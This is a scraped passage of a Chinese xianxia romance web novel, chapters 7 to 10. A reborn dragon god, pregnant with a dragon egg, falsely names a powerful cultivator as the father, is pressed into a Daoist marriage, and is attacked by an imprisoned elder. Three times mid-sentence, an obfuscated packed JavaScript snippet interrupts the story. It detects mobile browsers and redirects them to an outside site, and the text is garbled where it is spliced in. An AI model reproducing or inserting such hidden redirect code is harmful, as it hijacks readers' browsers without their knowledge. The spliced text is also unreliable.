《你怀的是这颗金龙蛋还是银龙蛋》 7. 死对头 羽熹这一晕倒,不知道睡了多久,他做了一个很长的梦。 梦见自己给魔君聿明下了战书,两人在天极柱边酣畅淋漓地打了三天三夜。 打累了,两人各自默契无言转身离开,偏巧羽熹一个不小心把自己从小珍藏的夜明珠遗落了。 得知被聿明随手捡了去,便去魔界找他要。 这夜明珠虽算不得多珍贵,比之更稀有的灵宝他龙宫多的是,但这是他父母留给他唯一的东西,格外重要。 谁知聿明起了促狭心,说什么也不肯还给他。 羽熹一个气不顺,跑去魔界宫殿门口的希音钟前,大喊一声“魔君是偷鸡摸狗的混蛋”,然后敲响了希音钟。 这希音钟有个特点,会把敲响前说的话以无声的形式,扩散到整个三界,传进每个人耳朵里。 羽熹要的就是这个效果——让整个三界都知道魔君的罪恶行径。 如此还不够,末了他还飞起一脚,踹断了这口吵人的钟,把魔宫城楼都给弄塌一截,这才解了气,拂袖而去。 聿明听闻此事,没什么特别大的反应,只是依旧慵懒地高坐上位,修长的手指不徐不疾地把玩那颗莹润剔透的夜明珠,气定神闲摆手吩咐,“随他砸去,回头在城楼上再排一千口希音钟。” 羽熹听了差点咬碎牙齿,把这当成直白的战书,日夜琢磨怎么扳回一城才好。 没等他想到好主意,他就莫名其妙入了轮回,投胎成凡人,肚子高高隆起。 他一低头,看见肚子越来越扭曲,慢慢变成一张嘴,还跟他打招呼,“想不到吧,我是你跟聿明的孩子哦。” 羽熹一个哆嗦,吓醒了。 醒来发现自己又到了一个全新的地方。 不过这次不像在扶幽宗,有一群人围着他,房间里只有他和敛真然。 他鼻翼翕动,嗅到了满屋子的药香。 见他醒了,敛真然把他扶起来,将一碗药端给他,“小六,你身体太虚弱了,道医宫的人来看过,说你紫府幽暗,神元亏损,灵脉枯涩,需要好好调养滋补。” 羽熹看了一眼碗里的东西,分明气味苦涩,他却胃口大动,就着敛真然的手仰头几口喝了下去。 “你慢点喝,这是千年雪昙熬的灵药,喝太急难以吸收,等你喝完我再帮你调理真气。” 待他仰头喝尽 ,敛真然收了碗,又折回来,给羽熹点了几个穴位,盘腿与他对面而坐,将灵气运转至掌心,缓缓渡入羽熹体内,引导千年雪昙之力与羽熹灵脉融合。 半个时辰下来,羽熹角色渐渐红润起来,肚子也暖暖的。 或许是因为敛真然在有意引导灵力滋补腹中之物,他此时才终于有了一种,肚子里的确有生命存在的真实感。 “好了,小六,你先休息,两个时辰后我再来给你送药。” “云师兄呢?” 羽熹叫住他。 敛真然脚步一顿,背对着人,神色有些不自然,“试炼的事还未结束,师兄忙,等忙完就来看你。” 羽熹没再多问,但对他的话一个字也不信。 等人走了之后,他尝试着去推了推门。 这次竟然没有禁制,羽熹便打算出去转转。 他住的地方在一片湖边缘阁楼上,出了房门是空无一人的回廊,绕过回廊,才能看见三三两两结伴而过的白衣弟子。 此处难道就是问天阙? “看着不怎么样,站高点能看到城中的望火楼,出了院门走几步就到菜市口,凡修就在这种环境修仙?” “那不是望火楼。”羽熹走上台阶远眺一眼塔楼上不停旋转的圆珠,脱口而出,“那是城中禁飞监测台。” 龙魂稀奇,“嚯!你怎么知道?” 很显然,他们都应该是第一次来这里才对,羽熹不应该对这里的事物如此熟悉。 羽熹突然停下来,闭了闭眼。 “奇怪,我的脑子里好像蹦出一些不属于我的记忆。” 他再次抬头看了看四周,似乎是想起了什么,“这里不是问天阙,是问天阙在中州的州盟驻地。” “哦?莫非是风小六的记忆?” 羽熹拧着眉没有回答,仿佛只有这个答案,但这个答案又让他觉得哪里不对。 驻地人并不是很多,他又自己转了转,想看看能不能想起来更多苏醒以前的记忆。 眼下最重要的就是搞清楚他苏醒前到底发生了什么,他本想问问云方仪,知不知道数日前在阴墟界门口将他推下去的那个弟子身在何处。 但敛真然对云方仪的去向遮遮掩掩。 他只能自己想办法,如果能恢复记忆,会省很多事。 想了半天,脑子里没再冒出更多有用的信息。 他得去找个人打探一下。 此处人少,他便掉头往回走,将一转身,一个人突然出现在他身后,差点就撞了上去。 羽熹后退两步,看到对方身上的金色麒麟纹样,正感叹瞌睡来了就有人送枕头。 那人却逼近一步,嘲讽地笑了一声,“哟,这不是风小六么,今天怎么没跟着云方仪屁股后头转?” 羽熹:“……” 原来不是枕头,是苍蝇。 羽熹侧身,直接无视此人绕过他。 对方哪里肯让,伸出手推他一把,将人搡到石梯上。 “你一个不记名弟子,也敢对我赵绪一不敬。” 赵绪一俯下身,手肘撑在膝盖上,不怀好意地笑,“诶,我听说,你趁试炼大会偷跑出去与人私会,还搞大了肚子?是不是真的?” 真龙现世一说驻地弟子多少都有耳闻,然而赵绪一是万万不肯相信从前那个脑子愚笨见人只知道傻笑的废物风小六,会跟龙沾上边。 估摸是什么谣传,或者是此人耍的什么把戏。 总之风小六绝对不可能是龙。 只不过是肚子里怀了不知道是谁的野种,编个故事出来免受业罪司责罚。 羽熹被推,干脆就在石梯上坐下,懒懒地靠着,眸光冷淡,“关你什么事?” “当然不关我的事,又不是我搞大的。”赵绪一目光滑到羽熹腹部,没一会儿又顺着往下移到腿根,忽然伸出了手,“我就是好奇,你一个男人,到底怎么怀上的?” 赵绪一越凑越近,羽熹本就越不耐烦,见他还敢伸手,以迅雷不及掩耳之速摸出了不可不眠剑意,挥着“菜刀”砍向赵绪一。 寒光一闪,赵绪一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984393|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩了回去,结果看见对方的武器就是一把菜刀,不由得笑出声。 “云方仪不是很宝贝你么,也不见他舍得给你一些高阶的宝贝,就拿了把菜刀,说出去都让人笑话。” 跟着赵绪一的几个弟子也附和着笑起来。 ——实在没见过这么滑稽的场面。 羽熹掂了掂菜刀,喝了千年雪昙熬的药后,能感觉到剑意力量更强了一点。 但也只是一点。 还不够把此人脑袋割下来。 割不下来羽熹就懒得费劲,收了刀起身欲走。 赵绪一仍旧不让他离开,几个人将他拦住。 “别走啊,我没问完呢。” 赵绪一凑近一些,压低声音,“你肚子里这孩子,到底是不是云方仪的?” 羽熹瞪了他一眼。 赵绪一更兴奋了。 他早就惦记着风小六的美貌,若不是从前有云方仪护着,他早就想办法把人收了。 “不管是不是他的,都不重要了,你猜猜他现在在哪儿?” “他在哪儿?” 羽熹终于抬头赏他一眼。 见引起了少年兴趣,赵绪一反而不说了,“总之,你以后在问天阙的靠山没了,又大着肚子,以后的日子只会比从前更难过。” “哦。”羽熹见他有意吊着他,并不上钩。 “不然你就跟了我吧,我也不嫌弃你大着肚子,反正你这孩子也没爹了,你一个人生养多辛苦,你跟了我,我定不会亏待你。” 赵绪一没忍住,伸手勾了勾羽熹下巴。 羽熹终于被惹毛了,“谁说这孩子没爹。” “哦~在哪儿呢?”赵绪一以为他要说云方仪,轻蔑地笑了笑。 如今的云方仪已经没资格跟他争。 “你不会要说就是你吧,哈哈哈。” 一阵哄笑。 “……” 随便来个人都要拿他肚子里的孩子说事,羽熹已经被问烦了,只想快点解决掉孩子另一个爹的问题。 然而这事儿也不是他着急就能解决的,就跟他一个人也生不了龙蛋一个道理,要怪就怪那天杀的登徒子敢做不敢认,否则以后要是有人问起,他也可以笑着把那人脑袋提出来,回答一句,“有爹啊,只不过死了。” 忽然大门口处走进来一波人,气度与别众弟子有天壤之别,仙姿轻盈,气场无形却迫人。 转头一看,为首的是掌门应冕,在他身旁同行的,则是在扶幽海岸边见过的装.逼魔尊。 羽熹眼眸一眯,忽然福至心灵,生出了一个计划。 聿明啊聿明,这可是你自己撞上来的。 他懒懒抬起手,指了指掌门一行方向,“呐,孩子是他的,你问他去吧。” “?”赵绪一扭头看去,只看到掌门和无相大人,不敢确定地左右望了望。 见周围没别人了,便又望回去,差点失声,“你说什么?!” 应冕被他的动静吸引,两人目光都朝这里看过来。 羽熹站累了,沿着廊下美人靠坐下来,拖着调子懒懒道:“就是他,你没看错。我肚子里的孩子就是他的。” 他精准地指着鄢尘离,以免有人错认。 8. 交易 说完,羽熹越发觉得这个主意盖世绝妙。 无相大人名号如此响亮,若别人都以为他是孩子的爹,那此后便没人再敢来滋扰他,他就能专心的解决自己的事。 除此便利之外,还有更大快人心的理由。 若是能趁聿明下界历劫不知情的情况下,让他给死对头的儿子当爹,还是接盘别人的孩子,日后回去知道了,不知道脸得气成什么颜色。 真是想想就大快人心呐。 赵绪一开心不起来,甚至想给他跪下。 祖宗,那可是无相大人!修真界的最强者,那是你能攀扯的人? 你要攀扯能不能去个没人的地方攀扯,他怕血溅到自己身上啊! 两拨人隔得不远,想听不见都难,应冕也是罕见的脸色一变,尴尬看向鄢尘离。 “这……这届弟子不懂事,莫在意,莫在意。”应冕讪笑一声。 此前,应冕被强行破境的恭长夜拖住,在海上艰难地同本门叛徒斗起了法,险些不敌。 最后还是鄢尘离赶来,才拿下了恭长夜。 这几日他们都在驻地处理恭长夜和风小六的事,鄢尘离自然是知道风小六化龙并且怀了龙蛋的事。 但仿佛什么龙不龙的并不能引起他的兴趣,他的关注点都在恭长夜的那些血流萤上。 此刻碰上本人,还被当众扣上风流薄幸的帽子,他连眼皮都没掀一下,目光冷冷地看着少年。 赵绪一等弟子已经被吓得大气不敢出,后背贴着墙眼观鼻鼻观心,恨不得从未出现过。 偏生那风小六不长脑子,也不会看眼色,一副初生牛犊不怕虎的样子,还在叨叨个不停。 “怎么,你们不信啊,其他事或许我想不起来了,但那一晚我记得清清楚楚。” 羽熹多数时候比较懒,能动口解决的事就懒得动手,于是练就了一手张口胡诌的本事,当即就编起故事来。 “无相大人对我一见钟情,一直默默关注,那日见我独自一人离开,便趁机引诱,我又是个对长得好看的人没有抵抗力的,便稀里糊涂跟他滚了一遭,谁知无相大人这么有本事,把我肚子都搞大了,现在怎好提裤子不认人?你们若不信,那我说一处你们都不知道的,无相大人屁股上有一颗痣,红色的,你们把他裤子扒了看看就知道我说的是不是真的了。” 龙魂振奋起来,“果然,我就说是他!羽熹你记得这么清楚怎么不早说!若是聿明神尊,咱们把他吸干,以后的幼崽一定非常强大!” “……”羽熹嘴角抽了抽,“不好意思,我瞎编的。” 至于他屁股上的痣,羽熹确实是在碰运气。 那是一个意外。 还在上天界时,有一次他借了微衡神君的灵犀山温泉宫泡澡,美滋滋地抱着两坛雪酿要去泡个爽,本以为只有他一人,结果一进去就看到一个浑身赤裸男人已经先来占了位置。 他一眼就认出那是死对头聿明,当即跟他在温泉宫打了个天昏地暗,还把灵犀山一座山头给削掉了,害得他好一阵子躲着微衡神君不敢见他。 打完之后,澡也没泡成,聿明这狗东西屁股后面的小红痣却一直在脑海里晃悠,气得他三天没睡好觉。 他不确定转世后的聿明是否还有这些身体特征,只是“赌瘾”犯了。 围观的人根本不敢相信自己的耳朵。 他在说什么? 无相大人对他一个小小不记名弟子一见钟情? 还尾随? 还引诱? 还滚了…………………… 十米之内连一声呼吸声都听不见,几道目光暗戳戳的,想看无相大人的反应却不敢,只能偷偷斜觑一眼又一眼,憋得好难受。 不知道过了多久,终于有人动了。 鄢尘离一抬脚,缓缓走近少年,高大的身影几乎将他整个人笼罩住,居高临下地审视着他。 羽熹一双桃花眼,不做表情时眼尾也勾着,总给人一种含情脉脉的感觉,偏生他这会儿心思不纯,眸中有一丝狡黠的光,看起来像只正耍花招戏弄人的小狐狸。 无相大人屁股上有没有痣外人当然不知道,但若是风小六敢瞎编,接下来一定会死的很惨。 应冕几度伸手想求情,毕竟是修界第一颗龙蛋,未来可是会孵化成龙崽的,能不能手下留个情。 但最终他还是把手收了回去,替风小六捏了把汗。 羽熹毫不畏惧地仰头看着鄢尘离,一如从前无数次给聿明下战书的样子。 这次稍微有所不同,眼前的人比聿明眼神更冷,更有压迫感,对峙久了,羽熹都有点无所适从。 良久,鄢尘离忽然抬起了手,羽熹没反应过来,倒把众人吓了一大跳。 “完了完了,风小六竟然敢如此污蔑无相大人,他是脑子磕傻了吗?” “没磕,风小六脑子本来就有问题。” “他脑子有问题的话,瞎编还能编得如此具体,会不会有可能——” “住嘴!快别说后头的!” 弟子们交头接耳声如蚊呐,生怕被鄢尘离听到。 鄢尘离并没理会,眸光垂落,伸手握住羽熹左手手腕将之举起。 羽熹未穿问天阙弟子校服,袖口宽松,被这一抬,衣袖便滑落,堆叠在小臂处,露出滑腻如脂白皙胜雪的皮肤。 鄢尘离力道很大,已经把那处雪白的肉掐红,羽熹皱眉,用力抽动手腕,鄢尘离分毫不松,目光古怪地盯着少年手腕上那个浅浅的小鱼印记。 “你捏疼我了,放开!” 羽熹注意到了那个印记,心底产生了疑问。 他在风小六身体里醒来时仔细看过这具身体裸露在外的部分,确认当时左手手腕是没有这个印记的。 就算要有,也应该是威严霸气的龙族图腾,怎能是一条没手指头大的鱼! 龙魂好心地抽空回答他的疑问,“这是你跌落阴墟悬崖时出现的。” “……”羽熹问为何会出现,龙魂便没回答了,想必他们也不知知道。 鄢尘离依旧紧紧攥着他的手,不仅不放,甚至还用拇指在印记上捻了捻,就跟想把它擦掉似的。 见擦不掉,鄢尘离稍微松了点力,惜字如金地“嗯”了一声。 众人:“?” “嗯”什么? 什么意思? 这次连羽熹也没搞明白,满脸迷惑地抬头看他。 但鄢尘离似乎并没有兴趣解答任何人的疑惑,竟然拉起羽熹大步离开了。 “掌门,无相大人他这是何意?风小六说的难道是真的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984394|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 应冕手动了动手,似乎很想抠一抠脑袋,碍于弟子都看着他,勉强保持持重。 “无相大人自有他的用意,不可妄自揣测,不可多嚼舌根,不可,不可。” 他摇着脑袋走开了。 没多久,整个驻地都传遍了,弟子们表面恭肃,背后悄悄议论无相大人的风流无情以及屁股上的痣…… …… 无相大人歇在驻地后山一处听风院,一路上不时有问天阙弟子上上下下,碰到无相大人走来,都恭恭敬敬让道见礼。 待人走后,都面面相觑。 “无相大人身后那人是谁?” “他你都不知道,他是云方仪入门时带的随从,不记名弟子,经常在外门晃荡,成天打扮得花枝招展,看见个长得好看的就凑上去痴痴地把人望着流口水,长得倒是不错,要不是云方仪看得严,早就不知道被谁诓走了。” “他居然敢骚扰无相大人?” “你们没看仔细么?不是他跟着无相大人,是无相大人拉着他啊,到底是怎么回事?” “……” 听风院无人,鄢尘离一跨进院子,就在院子周围布了一层结界,不允许外人进来打扰。 羽熹可怜的手终于被松开,立马缩回来用力搓了搓,看到腕骨处皮肤多了个红色的手印,清晰突兀,指尖处太用力,甚至泛着乌青。 “你就不能轻点?我手都要被你捏断了!”羽熹不满地怨怼。 鄢尘离恍若未闻,又欺上来,把他人逼到墙上,眸光漆黑深沉,冷声质问,“我的孩子?” 他目光落在少年腹部,语气不善,羽熹这才后知后觉想起,自己现在和他有着战力差,还是天堑那种程度。 若是此人恼羞成怒,动动手都能把他捏死。 羽熹强迫自己冷静下来思考。 事情应该没到那个地步,若是他想杀了自己,不用等到现在才动手。他会把自己带来这个没人的地方再次确认,说明他自己也并非那么笃定。 龙魂突兀地一拍手,“坏了,难不成这人之前真的对风小六图谋不轨?” “……” 羽熹硬着头皮反问,“我问你,二十日前你在何处?” 鄢尘离没有回答,似乎在回想。 羽熹暗中一笑。 看来他赌对了,这人转世了屁股上依旧有痣。 不仅如此,他也不确定二十日前有没有对他做什么坏事,这是一颗有缝的鸡蛋。 谁知下一秒,鄢尘离打破了他的邪恶幻想。 “你在撒谎,孩子不可能是我的。” 羽熹一梗。 “二十日前,也就是你怀上孩子的时候,你自己跑到了西州最南边青滦河谷一代,最后又跟着人去了更南边的阴墟,那段时间我并不在那一带。” 说罢,他审视的目光带着压迫落在羽熹身上,不怒自威。 这孙子一点都不好赖。 羽熹撇撇嘴,正在想怎么编。 鄢尘离又开口了,“但我可以陪你演这场戏。” “?”羽熹抬头,“前提是?” “前提是,”鄢尘离面无表情道:“跟我结为道侣。” 羽熹眨眨眼,有些不敢相信自己的耳朵,“什……什么???” 9. 囚笼 羽熹瞠目,一时间说不出话,心里却已经是万马奔腾。 “我就说吧,这人果然对风小六图谋不轨!” 龙魂们看热闹看得带劲,煞有介事地分析:“俺觉得不是,你看他看你的眼神,哪有一点喜欢,分明就是想把你切碎了下酒吃。” “……” “你图什么?”羽熹把心里话问了出来。 鄢尘离没有正面回答,只道:“你当着众人面,说我对你一见钟情,还引诱你与我滚了一遭。” 羽熹:“……” 龙魂们表示明白了。 “是你造的谣,他臭名声已经打出去了,若是他不承认,估计以后他在修真界的名号要从“最强者无相大人”变成“负心薄幸老流氓”了。” “不错,倒不如大方承认,还能得个有担当的名声。” 羽熹不认同这个说法。 结为道侣又不是拜把子,哪能说结就结。 “我若不同意呢?” 鄢尘离没说话,忽然嘎吱一声,身后的门打开了。 羽熹:“……” 一言不合就开门送客。 他又不傻,这种自损一千的话已经放了出去,得罪了无相大人,外面又尽是馋他肚子里龙蛋的妖魔鬼怪,他今天只要跨出了这道门槛,往后就不得安生,甚至命都不保。 啧,麻烦。 羽熹梗着脖子,“我有个要求。” “说。” 鄢尘离似乎并不意外他这么快松口,手也不抬,大门又关了上,转身朝里屋走。 羽熹慢吞吞跟在他身后,道:“我要见云方仪。” 鄢尘离脚步一顿,侧头看了他一眼,没答应也没说不行,抬起双手结了个印,一道幽暗的圆形密门凭空出现,接着便一步跨入秘境中,消失无踪。 听风院变得安静起来,山风一吹,院子里的辛夷花摇落几朵,嘲讽似的落在羽熹脚边。 羽熹:“……” 多说一句话会死么? 这人上一秒还非要跟他结为道侣,下一秒就把他抛下不管不顾,羽熹一口气上来没出撒,干脆爬到树上睡大觉。 谁知鄢尘离一去三天都没出来,他尝试过离开院子,但根本走不出鄢尘离在院子周围设下的结界。 只有外面的人可以进来,给他送吃的送喝的。 羽熹本想抓住他们问问云方仪的下落,但这些人一句话都不肯跟他多说,把东西放下就走了。 “别管他们了,羽熹,我们正在归集千万年间所有跟饲养龙蛋相关的记忆,等我们编篡成籍,你便可照着书上说的好好养育龙蛋,什么道侣什么历劫,都不如把龙蛋养好来得重要。” 羽熹从生下来起就是孤家寡龙,没见过任何同类,自然不知道该怎么生育龙蛋,听罢起了兴趣,头枕着胳膊,仰躺在树干上,晃了晃小腿,“你们编了多少了?” “快了快了,再过几日便可整理完成。” 羽熹打了个哈欠,不能出门又没人跟他聊天,无聊的很,萧瑟冷风一吹,便默默爬下树回屋睡觉去了。 吃了睡睡了吃的日子过了三日,日上三竿时羽熹悠悠转醒,伸了个懒腰一翻身,猛地看见床头坐了个人。 “何方宵小!” 羽熹被吓了一跳,手心一张凝成不可不眠剑意防备,就看清是鄢尘离。 鄢尘离不知在这里看了多久,目光看向羽熹手上的“菜刀”,面无表情地起身,“走吧。” “……去哪儿?”羽熹揉了揉眼睛,没动。 “回问天阙。” “不走,走不动,早饭没吃。” 羽熹躺回去,右腿搭在左腿上,抬手在平坦的肚子上抚了抚。 “现在已过午时。” 鄢尘离回头看了他一眼,眼神冷冽。 羽熹摆了摆脚丫子,态度很明显——要吃饭。 “……”鄢尘离头也不回地离开房间。 没多久拎着个食盒进来,一言不发放在了桌上。 羽熹嗅到了饭菜的香气,嘴角一勾,这才肯纡尊降贵自己爬起来,慢慢找到了被随地乱扔的外衫套上,勉强收拾一番后,又有了新问题。 “房间太冷了,我想在院子里晒着太阳吃。” 羽熹偷眼觑着,发现鄢尘离的脸好像更黑了,丝毫不惧,站在原地不肯动,一定要出去吃。 “……” 无声对峙片刻,鄢尘离站了起来,拎着食盒越过他去了院子。 这次他没坐,负手盯着羽熹,看他还能搞什么花样,羽熹心情愉悦,睡这么久也是真的饿了,便没再继续折腾他,坐下就开始进食。 “这是什么,好难闻。” 他举起盛满褐色汤汁的碗,满脸嫌弃。 鄢尘离依旧惜字如金,“雪昙。” “哦。”羽熹起身,准备拿去浇辛夷树。 鄢尘离冷声命令,“喝掉。” 羽熹皱眉。 他大概一身的鳞片都是逆着长的,一听这话就想跟鄢尘离较劲,但龙魂也在劝他,“你就喝了吧,这个对你灵脉恢复有好处,乖啊。” 顺着摸毛有用,羽熹又坐了回去,捏着鼻子仰头喝掉。 吃得太饱,羽熹差点儿趴在桌上睡着,鄢尘离敲了敲桌子他才想起来还有事。 “能不能明天再走啊?”羽熹歪了歪脑袋,脸贴着胳膊胳膊贴着石桌。 鄢尘离:“……你说呢?” 商量失败,羽熹只好爬起来。 鄢尘离转身,刚走一步,袖子就被扯了扯,一只手抓住他衣袖忽然靠拢。 少年竟然胆大包天地贴到他背上,双手攀着他的肩膀,抬腿就往他背上爬。 也不知道是不是属猴的,踩了他膝弯一脚,三两下就爬上了比他高出一颗头的男人的后背。 “……”鄢尘离额角突突地跳,声音从齿缝里蹦出来,“下去。” 他冰块般的脸罕见的有了一丝裂痕。 少年反而圈住他脖子,用腿绞紧他的腰,“不要,我走不动,你不背我我就不走了。” 像是怕被他掀飞一般,说完手脚力量又收紧了一些。 他贴在鄢尘离耳侧坏笑一声,“你不是要和我结为道侣么,背我难道不是理所应当的?” 鄢尘离默了一会儿,听不出情绪来了句,“这可是你说的。” 说完抬起手抓住少年小腿,大步跨出听风院。 院门外,白衣弟子排成排等在门外,应冕和几位长老也在,都收拾好了准备启程,就等他们俩了。 羽熹冷不丁和几十双眼睛对上,登时愣住了。 饶是他一贯不怎么在乎脸皮,此刻也有些不好意思,白皙的脸颊慢慢染上一层薄红。 他动了动腿,似乎想要下来。 “夹好。” 鄢尘离捏了捏他小腿,哪里肯让他后悔。 羽熹:“……” “呵呵呵呵,那什么,都准备好了,那咱们走吧,走吧。” 应冕再次尴尬地不知道该看天还是看地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984395|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷偷揶揄了鄢尘离一眼。 不得了了,修真界出了名的无心无情冷面阎罗鄢尘离,竟然真的动了凡心,看上一个废物小傻子了。 几日来的谣言,一瞬间就得到了证实,私底下又是一阵轰动,暂且不说。 回程依旧乘的是飞艎,羽熹一看,发现还是他们从扶幽海乘坐的那艘,船身上还打了补丁。 这问天阙看着有点穷的样子。 他会不会选错了队? 许是知道上船后他没法逃跑,便也没人限制他的自由。 入夜后,羽熹偷偷推开房门,潜入飞艎下层。 白天他观察过,船上还是扶幽海护送他出来那些人,只不过队伍多了几个驻地弟子,少了敛真然和云方仪他们。 飞艎船尾甲板下,有一条长长的通道,羽熹往里走了一截,见有弟子把手,便退了回去。 云方仪说不定就在下面,他得想个办法去看看。 羽熹坐在拐角通道一处漆黑的嵌口里,两指支着下巴思考。 忽然想起什么,从腰带中摸出一颗黑色的石头。 龙魂见他半夜还在晃荡,问了一嘴,“你要干什么?” 羽熹把石头放在指尖转来转去,眸中倒映着一丝暗绿的光芒。 “他们好像都很忌惮这种灵石。” 龙魂本就是靠一缕神识寄存,这会儿也分不出太多精力帮他研究破石头,尚有孕育龙蛋的古籍需要他们整理,摆摆手让他自己去折腾。 只别把自己作死就行。 羽熹盯着石头看了一会儿,慢慢从指尖注入一丝灵力进去。 石头中原本闪烁着一点点萤火般的幽暗绿光,被灵力刺激,光芒逐渐大盛,逐渐被猩红色吞噬。 黑暗的一角变得瞩目,甬道内的弟子被这处光芒吸引,大喊一声,“什么人?!” 咚咚咚—— 脚步声越来越近,羽熹连忙收回灵力,掐掉了那束光芒,找了个地方躲了起来。 一阵风从他面前飞速掠过,守门的弟子踩着楼梯寻出了甲板。 羽熹抓紧时间立马往里跑。 飞艎内部纵深,他走了很久,走不到头一样,觉得有些奇怪。 这艘飞艎从外部看,大虽大,但绝不可能走了这么久都没到头。 莫非是设有迷阵? 羽熹抬起手在眼皮上方一抹,用神识打探周围。 什么都没有。 莫非云方仪不在下面? 不可能,若是没人,何必专门放个弟子把守。 他又往里继续走,甬道漆黑狭窄,一根针落在地上都能听见回响。 “嘶…嘶…” 忽然听见有一道细微的响动,似乎是某种活物的呼吸声,但节奏很怪。 他仔细听了听,又觉得像是一种笑声,低低的不成串,声调忽高忽低,令人毛骨悚然。 羽熹连十八层地狱都去过,根本不惧怕鬼怪,循着声音的方向加快脚步。 “云师兄?”他喊了一声,玄铁后漆黑一片,什么都看不见。 他往前凑近一些,想去看门后,忽然,“嘶拉”一声,一张扭曲苍白的怪脸突然出现在铁门上,两只爬满血丝圆滚滚的眼球骨碌碌盯着羽熹转。 “呵!好丑的一张脸!” 羽熹骇然后退两步,一脚踩在一块凸起的地板上,唤醒了阵法。 明光大炽,登时眼前亮堂起来,羽熹下意识抬手挡了挡眼睛,再一看,看清了笼中的人。 “恭长夜?” 10. 玉生烟 羽熹眯了眯眼,依稀记得这人就是在扶幽海背刺应冕想要抢走龙蛋的长老。 但此刻恭长夜的样子,让他几乎不敢认。 原先的恭长夜须发皆白但精神矍铄,是个身姿挺拔仙风道骨的老头。 眼前的人却好像一夜间被抽干了精气神,佝偻着背,全身骨头就像被挤在了一起,沟壑纵横的枯皮贴在骨头上,青白中密布着无数血红色的红斑,浑身上下透着一股阴邪死气。 他双手双脚被锁住,一动就拖动沉重的锁链和地板摩擦发出刺耳的声音。 恭长夜看见少年的脸,眼球一凸,死死将他盯住。 “是你!你到底是如何化龙的?是不是阴墟?果然传言是真的,阴墟并非什么镇压妖邪之地,而是一条通天之途,果然,果然是这样!” 羽熹一看,原来不是云方仪,顿时没了兴致,扭头打算回去睡觉。 “等等!” 阴冷的牢笼传来转磨般的浑厚低音,羽熹脚步稍顿。 “你就不想知道,你方才用的那种石头,到底是什么东西?” 浑浊的声音如同鬼魅低语,一声一声诱惑着猎物上钩。 羽熹半转脚步,低头一眼,摸出了方才用过的石头,“这个?” 锁链又被拖出响动,恭长夜似乎是走近了一步,“当然,你就不好奇,我为何可以用他瞬间突破好几层境界,力压化神期的应冕?” 这里只有他们两个人,羽熹没接话,他带着蛊惑的声音啪一声掉在地上,空气安静了一会儿。 “不好奇啊。” 羽熹扭过身,边走边把石头扔着玩儿。 “……” 恭长夜干裂的嘴角一抽,立马又道:“你就没有任何想知道的事?” 羽熹又停下了,恭长夜于是继续说,“我都可以告诉你。” “其实我很想知道,”羽熹舔了下嘴唇,“船上的厨子哪儿来的,晚上送的饭菜都很合我胃口。” 恭长夜:“………………” “还有没有事啊,没事我要走了。” 听着礼貌,但他其实并没有留下耐心等候的意思。 “你不属于这里。” 几步后,身后飘来冷冰冰的声音。 甬道里细微的脚步声被吞噬,黑暗中,羽熹回过头看着那个形似怪物的人族。 他继续道:“你的仙格也在消失。” “你什么意思?”羽熹几步转回,走到阵法前,冷然看向他。 恭长夜松了抓住玄铁的手,低低笑起来,声音如同厉鬼嚎泣, “你以为,你还回得去么,哈哈哈哈哈哈哈……” “卖什么关子,你是怎么知道的?你到底是谁?!” 自掉落凡尘这些日子,最让羽熹困扰的其实不是肚子里莫名其妙怀的龙蛋。 而是他并未通过六道轮回便来到了下界,还从一个不相干的人身体里醒来。 当中到底发生了什么,他一点思绪都没有。 从未有哪个神仙的劫是这样开始的,一定有古怪。 “我是谁?你仔细看一看……” 他伸出干瘦如柴的手,触碰到阵法边缘。 羽熹凑近一步,仔细去看他手心,下一秒,那手心攥成爪状,不顾锁链上禁制的反噬催动灵力,一击刺破阵法,将手掌重重按在羽熹头顶。 触碰到的一刹那,仿佛是被深海漩涡吸附住一般,羽熹根本无法挣脱。 他身体被定在原地无法动弹,能清楚地感觉到,身上的血液,灵力,以及才恢复不多的修为都在源源不断地汇聚至顶,灌注到那双枯槁的手中。 比这更恐怖的是,腹部传来剧痛,仿佛是有一双手伸进他肚子里,狠狠攥住了那颗未成形的龙崽胚胎蛮力拉扯。 “呃……你要干什么?放开我!” 识海中万龙冢开始晃动不稳,龙魂们都急了,“不好,有妖人想要吸取龙蛋之精,竟然想要把父子俩就地炼化!羽熹,快取剑!” “我……动……不……了……” “虽然未成形,但仍具仙格,生来就是筑基期,若能为我炼化,即便不能直通天门即刻飞升,也能助我恢复,一跃至渡劫期,修真界几人能与我为敌!” 疯狂的大笑声不停回荡,羽熹充耳不闻,所有注意力都集中在右手掌心,一张一握,却始终唤不出不可不眠剑意。 “你们……快出手啊!” 羽熹几乎维持不住人形,脖颈脸颊出隐隐出现鳞片,额角两端光洁皮肤处生出一对莹润的龙角。 